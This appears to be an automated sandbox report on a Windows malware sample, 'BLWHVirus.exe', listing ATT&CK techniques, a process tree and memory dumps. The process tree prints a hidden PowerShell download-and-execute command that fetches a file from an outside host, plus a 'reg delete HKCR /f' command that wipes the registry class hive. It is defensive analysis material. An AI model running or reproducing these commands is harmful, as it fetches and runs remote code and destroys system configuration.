Analysis
- max time kernel
42s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 07:05
General
- Target BLWHVirus.exe
- Size 36KB
- Sample261002-hwkbdaxtbv
- SHA256 070d1b31423de6618d532cdad8f6dc1532dc9f8ad8c19a1c5fab0966310cdfda
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\BLWHVirus.exe"C:\Users\Admin\AppData\Local\Temp\BLWHVirus.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004E81⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/3292-1-0x00007FFDC3B8F000-0x00007FFDC3B90000-memory.dmp
memory/3292-0-0x00000000007F0000-0x0000000000800000-memory.dmp
memory/3292-2-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-3-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-4-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-5-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-6-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-7-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-8-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-9-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-31-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-30-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/3292-29-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-19-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-25-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-20-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-21-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-22-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-23-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-24-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-16-0x000002C4F5140000-0x000002C4F5162000-memory.dmp
memory/5872-26-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-28-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-27-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-18-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-17-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-15-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-32-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp
memory/5872-34-0x00007FFDC3A00000-0x00007FFDC43A4000-memory.dmp